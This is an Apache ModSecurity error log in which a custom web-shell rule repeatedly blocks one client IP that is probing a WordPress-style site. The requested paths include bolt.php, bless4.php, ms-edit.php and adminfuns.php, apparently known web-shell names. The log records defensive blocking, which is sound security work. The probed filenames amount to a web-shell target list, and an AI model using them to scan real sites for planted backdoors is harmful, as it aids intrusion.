[Sat Apr 18 05:35:05.153658 2026] [:error] [pid 9970:tid 9996] [client 4.235.105.111:39235] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeKniSYdRLRhVmaIMx23swAAANY"]
[Sat Apr 18 05:35:05.915418 2026] [:error] [pid 9970:tid 9991] [client 4.235.105.111:31534] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aa.php"] [unique_id "aeKniSYdRLRhVmaIMx23twAAANE"]
[Sat Apr 18 05:35:06.650659 2026] [:error] [pid 9970:tid 9995] [client 4.235.105.111:41471] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aeKniiYdRLRhVmaIMx23uQAAANU"]
[Sat Apr 18 05:35:07.283678 2026] [:error] [pid 9865:tid 9944] [client 4.235.105.111:39277] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aeKni6zb5knECIY-C-idYAAAAIc"]
[Sat Apr 18 05:35:07.874766 2026] [:error] [pid 9865:tid 9946] [client 4.235.105.111:3626] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aeKni6zb5knECIY-C-idZAAAAIk"]
[Sat Apr 18 05:35:08.439415 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:27014] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/av.php"] [unique_id "aeKnjCYdRLRhVmaIMx23vgAAAMo"]
[Sat Apr 18 05:35:09.698876 2026] [:error] [pid 9970:tid 9979] [client 4.235.105.111:45736] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeKnjSYdRLRhVmaIMx23yQAAAMU"]
[Sat Apr 18 05:35:10.492280 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:41411] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeKnjiYdRLRhVmaIMx23zgAAAMo"]
[Sat Apr 18 05:35:11.138294 2026] [:error] [pid 9970:tid 9990] [client 4.235.105.111:28029] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeKnjyYdRLRhVmaIMx230QAAANA"]
[Sat Apr 18 05:35:11.821301 2026] [:error] [pid 9864:tid 9914] [client 4.235.105.111:31914] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aeKnj4CFeowknfXHM7ks0gAAAEg"]
[Sat Apr 18 05:35:12.555606 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:45723] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aeKnkCYdRLRhVmaIMx233gAAAMo"]
[Sat Apr 18 05:35:13.120022 2026] [:error] [pid 9970:tid 9994] [client 4.235.105.111:37054] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aeKnkSYdRLRhVmaIMx235AAAANQ"]
[Sat Apr 18 05:35:13.836312 2026] [:error] [pid 9863:tid 9892] [client 4.235.105.111:27045] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aeKnkTjjiypiFrTucbIFzgAAABM"]
[Sat Apr 18 05:35:15.899351 2026] [:error] [pid 9864:tid 9905] [client 4.235.105.111:27060] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless4.php"] [unique_id "aeKnk4CFeowknfXHM7ks2gAAAEA"]
[Sat Apr 18 05:35:16.772509 2026] [:error] [pid 9863:tid 9891] [client 4.235.105.111:41451] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aeKnlDjjiypiFrTucbIF1QAAABI"]
[Sat Apr 18 05:35:17.359673 2026] [:error] [pid 9865:tid 9958] [client 4.235.105.111:32363] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aeKnlazb5knECIY-C-id1AAAAJU"]
[Sat Apr 18 05:35:18.106684 2026] [:error] [pid 9865:tid 9955] [client 4.235.105.111:25110] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aeKnlqzb5knECIY-C-id1gAAAJI"]
[Sat Apr 18 05:35:19.665284 2026] [:error] [pid 9864:tid 9909] [client 4.235.105.111:32345] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-act.php"] [unique_id "aeKnl4CFeowknfXHM7ks4wAAAEQ"]
[Sat Apr 18 05:35:21.750720 2026] [:error] [pid 9864:tid 9928] [client 4.235.105.111:3603] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aeKnmYCFeowknfXHM7ks7AAAAFY"]
[Sat Apr 18 05:35:24.285055 2026] [:error] [pid 9970:tid 9982] [client 4.235.105.111:41933] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xqq.php"] [unique_id "aeKnnCYdRLRhVmaIMx24BQAAAMg"]
[Sat Apr 18 05:35:36.728428 2026] [:error] [pid 9863:tid 9875] [client 4.235.105.111:32371] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKnqDjjiypiFrTucbIF-wAAAAI"]
[Sat Apr 18 05:35:37.630543 2026] [:error] [pid 9970:tid 9976] [client 4.235.105.111:31897] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKnqSYdRLRhVmaIMx24QwAAAMI"]
[Sat Apr 18 05:35:38.748993 2026] [:error] [pid 9865:tid 9938] [client 4.235.105.111:3135] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKnqqzb5knECIY-C-id8QAAAIE"]
[Sat Apr 18 05:35:39.741228 2026] [:error] [pid 9970:tid 9984] [client 4.235.105.111:36510] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKnqyYdRLRhVmaIMx24UgAAAMo"]
[Sat Apr 18 05:35:41.298567 2026] [:error] [pid 9970:tid 9994] [client 4.235.105.111:28022] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeKnrSYdRLRhVmaIMx24fAAAANQ"]
[Sat Apr 18 05:35:43.065726 2026] [:error] [pid 9865:tid 9939] [client 4.235.105.111:31918] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeKnr6zb5knECIY-C-id-AAAAII"]
[Sat Apr 18 05:35:43.871945 2026] [:error] [pid 9970:tid 9980] [client 4.235.105.111:41437] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeKnryYdRLRhVmaIMx24kwAAAMY"]
[Sat Apr 18 05:35:44.640602 2026] [:error] [pid 9864:tid 9929] [client 4.235.105.111:28412] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aeKnsICFeowknfXHM7ktHgAAAFc"]
[Sat Apr 18 05:35:45.540351 2026] [:error] [pid 9863:tid 9887] [client 4.235.105.111:37003] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeKnsTjjiypiFrTucbIGBQAAAA4"]
[Sat Apr 18 05:35:46.133787 2026] [:error] [pid 9865:tid 9955] [client 4.235.105.111:41420] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeKnsqzb5knECIY-C-id_wAAAJI"]
[Sat Apr 18 05:35:46.846359 2026] [:error] [pid 9864:tid 9906] [client 4.235.105.111:41982] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeKnsoCFeowknfXHM7ktJAAAAEE"]
[Sat Apr 18 05:35:47.463888 2026] [:error] [pid 9865:tid 9949] [client 4.235.105.111:36514] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aeKns6zb5knECIY-C-ieCAAAAIw"]
[Sat Apr 18 05:35:48.163183 2026] [:error] [pid 9864:tid 9907] [client 4.235.105.111:41959] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKntICFeowknfXHM7ktKAAAAEI"]
[Sat Apr 18 05:35:48.843505 2026] [:error] [pid 9864:tid 9922] [client 4.235.105.111:28367] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKntICFeowknfXHM7ktKgAAAFA"]
[Sat Apr 18 05:35:49.494725 2026] [:error] [pid 9864:tid 9920] [client 4.235.105.111:31431] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKntYCFeowknfXHM7ktLQAAAE4"]
[Sat Apr 18 05:35:50.225522 2026] [:error] [pid 9863:tid 9876] [client 4.235.105.111:3100] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ms-edit.php"] [unique_id "aeKntjjjiypiFrTucbIGCgAAAAM"]
[Sat Apr 18 05:35:50.955904 2026] [:error] [pid 9970:tid 9994] [client 4.235.105.111:28413] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeKntiYdRLRhVmaIMx24oAAAANQ"]
[Sat Apr 18 05:35:51.476597 2026] [:error] [pid 9863:tid 9890] [client 4.235.105.111:36525] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeKntzjjiypiFrTucbIGDgAAABE"]
[Sat Apr 18 05:35:52.063336 2026] [:error] [pid 9970:tid 9989] [client 4.235.105.111:41427] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeKnuCYdRLRhVmaIMx24pQAAAM8"]
[Sat Apr 18 05:35:52.607215 2026] [:error] [pid 9970:tid 9983] [client 4.235.105.111:41948] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/222.php"] [unique_id "aeKnuCYdRLRhVmaIMx24qQAAAMk"]
[Sat Apr 18 05:35:53.249117 2026] [:error] [pid 9970:tid 9992] [client 4.235.105.111:41452] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeKnuSYdRLRhVmaIMx24rwAAANI"]
[Sat Apr 18 05:35:54.001730 2026] [:error] [pid 9864:tid 9928] [client 4.235.105.111:24048] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeKnuoCFeowknfXHM7ktNAAAAFY"]
[Sat Apr 18 05:35:54.579724 2026] [:error] [pid 9970:tid 9989] [client 4.235.105.111:32853] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeKnuiYdRLRhVmaIMx24sgAAAM8"]
[Sat Apr 18 05:35:55.372995 2026] [:error] [pid 9865:tid 9937] [client 4.235.105.111:26444] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cgi-bin/index.php"] [unique_id "aeKnu6zb5knECIY-C-ieFQAAAIA"]
[Sat Apr 18 05:35:56.134126 2026] [:error] [pid 9864:tid 9905] [client 4.235.105.111:36997] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeKnvICFeowknfXHM7ktOgAAAEA"]
[Sat Apr 18 05:35:56.911957 2026] [:error] [pid 9864:tid 9918] [client 4.235.105.111:31925] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeKnvICFeowknfXHM7ktPAAAAEw"]
[Sat Apr 18 05:35:57.587363 2026] [:error] [pid 9865:tid 9951] [client 4.235.105.111:3119] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeKnvazb5knECIY-C-ieFwAAAI4"]
[Sat Apr 18 05:35:58.251132 2026] [:error] [pid 9863:tid 9896] [client 4.235.105.111:28376] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fff.php"] [unique_id "aeKnvjjjiypiFrTucbIGFAAAABc"]
[Sat Apr 18 05:35:58.973589 2026] [:error] [pid 9864:tid 9923] [client 4.235.105.111:28406] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeKnvoCFeowknfXHM7ktRgAAAFE"]
[Sat Apr 18 05:35:59.677594 2026] [:error] [pid 9863:tid 9885] [client 4.235.105.111:3080] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeKnvzjjiypiFrTucbIGFwAAAAw"]
[Sat Apr 18 05:36:00.311694 2026] [:error] [pid 9864:tid 9914] [client 4.235.105.111:31896] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeKnwICFeowknfXHM7ktTgAAAEg"]
[Sat Apr 18 05:36:00.859485 2026] [:error] [pid 9864:tid 9909] [client 4.235.105.111:26447] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/"] [unique_id "aeKnwICFeowknfXHM7ktUQAAAEQ"]
[Sat Apr 18 05:36:01.468325 2026] [:error] [pid 9865:tid 9946] [client 4.235.105.111:41967] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeKnwazb5knECIY-C-ieGwAAAIk"]
[Sat Apr 18 05:36:02.105406 2026] [:error] [pid 9865:tid 9956] [client 4.235.105.111:31891] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeKnwqzb5knECIY-C-ieHQAAAJM"]
[Sat Apr 18 05:36:02.686717 2026] [:error] [pid 9970:tid 9991] [client 4.235.105.111:31884] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeKnwiYdRLRhVmaIMx24wgAAANE"]
[Sat Apr 18 05:36:03.311440 2026] [:error] [pid 9865:tid 9950] [client 4.235.105.111:41422] [client 4.235.105.111] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we.php"] [unique_id "aeKnw6zb5knECIY-C-ieIAAAAI0"]
